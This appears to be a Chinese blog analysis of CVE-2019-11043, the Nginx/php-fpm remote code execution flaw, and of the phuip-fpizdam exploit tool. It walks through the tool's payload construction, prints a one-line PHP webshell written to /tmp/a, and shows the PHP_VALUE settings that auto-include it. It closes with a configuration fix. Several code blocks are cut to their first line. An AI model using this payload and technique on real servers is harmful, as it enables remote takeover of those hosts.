下午看见了CVE-2019-11043漏洞的利用工具,简单的把phuip-fpidam工具看了一下,利用CVE-2019-11043控制Nginx fastcgi_param的PHP_VALUE变量对PHP配置改写,再在加载PHP扩展时写入Webshell。
1. 漏洞描述
PHP官方通告发布,使用Nginx + php-fpm服务器,在默认配置下,存在远程代码执行漏洞。Nginx在fastcgi_split_path_info带有%0a即换行符时,导致PATH_INFO为空,而php-fpm处理PATH_INFO为空,存在缺陷。
2. 影响范围
Nginx + php-fpm配置的服务器
3. 漏洞原理
具体原理没有分析,需要分析C代码
1 | location ~ [^/].php(/|$) { |
Fastcgi_split_path_info
用于定义一个正则表达式,来获取$fastcgi_path_info
变量。^(.+?.php)(/.*)$
正则捕获到两个组,第一个放入$fastcgi_script_name
变量,第二个放入$fastcgi_path_info
变量。例如:
1 | # 传入/show.php/article/0001 |
当攻击者使用换行符后,破坏fastcgi_split_path_info
中的正则,导致PATH_INFO
为空。
漏洞具体位置在,导致可以放置任意的FastCGI变量:
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1142
目前已经修正,可以看看修改前后的对比:
http://git.php.net/?p=php-src.git;a=commitdiff;h=ab061f95ca966731b1c84cf5b7b20155c0a1c06a
1 | --- a/sapi/fpm/fpm/fpm_main.c |
Phuip-fpidam利用FastCGI变量PHP_VALUE更改PHP配置,具体利用方式可以看第五部分。
PHP_VALUE变量,当path_info[0]置为0时,FCGI_PUTENV会被调用。攻击者通过构造URL路径和查询字符串,可以使path_info精确指向_fcgi_data_seg结构体的第一个字节,放入零将向后移动到char* pos字段,然后在FCGI_PUTENV使用脚本路径覆盖一些数据(包括其他的一些fast cgi variables),利用此种方式,伪造PHP_VALUE fcgi变量,修改PHP配置来执行代码。
4. 漏洞检测
默认配置下,就可能存在远程代码执行漏洞。
1 | location ~ [^/].php(/|$) { |
5. 漏洞利用
Phuip-fpidam利用该漏洞控制了Nginx的fastcgi_param中的PHP_VALUE变量,动态的修改PHP配置,造成了命令执行,利用这个命令执行成功写入Webshell。
- main.go
在Detect
函数中,通过遍历的方式获取params
结构体中的两个参数,QueryStringLength
和PisosLength
。调用Attack
函数并传入结构体params。
- attack.go
在Attack函数中,循环构造并向目标服务器发送payload
。
1 | # 原始payload如下 |
发送前进行构造:
1 | func MakePathInfo(phpValue string) (string, error) { |
发送构造的payload
:
1 | func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) { |
在RequestWithQueryStringPrefix
函数中,payload
被拼接到了URL路径当中,params.QueryStringLength
用于生成定量的字符“Q”
与prefix
进行拼接,params.PisosLength
放入请求头D-Pisos
中。
1 | u.Path = u.Path + pathInfo |
发送payload,原始payload被写入到php.ini文件中,参数a后的命令成功执行/bin/sh+-c+'which+which'&
,利用配置extension_dir和extension拼接PHP扩展路径在加载PHP扩展时进行命令执行。(这块具体还不清楚是如何加载并执行了其中的代码,需要留个坑后面补充,继续分析工具调用。。。)
成功加载扩展并执行命令后,开始写入Webshell。
1 | cleanupCommand = ";echo '<?php echo `$_GET[a]`;return;?>'>/tmp/a;which which" |
在/tmp/a文件中写入Webshell。
如何加载Webshell
1
2"include_path=/tmp" # 配置include时文件路径
"auto_prepend_file=a" # 默认在全部PHP文件前面include("/tmp/a")成功加载Webshell。
在http://localhost/index.php?a=cmd即可执行命令。
6. 漏洞修复
不影响业务情况下,可以选择删除下列配置:
1 | fastcgi_split_path_info ^(.+?.php)(/.*)$; |